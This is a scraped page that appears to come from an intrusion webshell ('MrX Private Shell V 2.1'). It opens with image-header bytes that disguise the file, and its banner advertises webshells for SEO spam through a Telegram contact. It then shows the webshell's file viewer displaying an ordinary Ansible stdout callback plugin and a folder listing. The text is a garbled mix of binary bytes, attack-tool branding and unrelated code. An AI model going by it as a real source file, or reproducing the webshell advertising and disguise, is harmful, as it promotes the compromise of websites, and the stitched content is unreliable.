����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.plugins.callback import CallbackBase
# Not only visible to ansible-doc, it also 'declares' the options the plugin
# requires and how to configure them.
# TODO Fix DOCUMENTATION to pass the ansible-test validate-modules
DOCUMENTATION = '''
callback: stdout
callback_type: aggregate
short_description: Output the log of ansible
version_added: "2.0"
description:
- This callback output the log of ansible play tasks.
'''
class CallbackModule(CallbackBase):
"""
This callback module output the information with a specific style.
"""
CALLBACK_VERSION = 2.0
CALLBACK_TYPE = 'aggregate'
CALLBACK_NAME = 'stdout'
# only needed if you ship it and don't want to enable by default
CALLBACK_NEEDS_WHITELIST = False
def __init__(self):
# make sure the expected objects are present, calling the base's
# __init__
super(CallbackModule, self).__init__()
def runner_on_failed(self, host, res, ignore_errors=False):
self._display.display('FAILED: %s %s' % (host, res))
def runner_on_ok(self, host, res):
self._display.display('OK: %s %s' % (host, res))
def runner_on_skipped(self, host, item=None):
self._display.display('SKIPPED: %s' % host)
def runner_on_unreachable(self, host, res):
self._display.display('UNREACHABLE: %s %s' % (host, res))
def runner_on_async_failed(self, host, res, jid):
self._display.display('ASYNC_FAILED: %s %s %s' % (host, res, jid))
def playbook_on_import_for_host(self, host, imported_file):
self._display.display('IMPORTED: %s %s' % (host, imported_file))
def playbook_on_not_import_for_host(self, host, missing_file):
self._display.display('NOTIMPORTED: %s %s' % (host, missing_file))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| stdout.py | File | 1.83 KB | 0644 |
|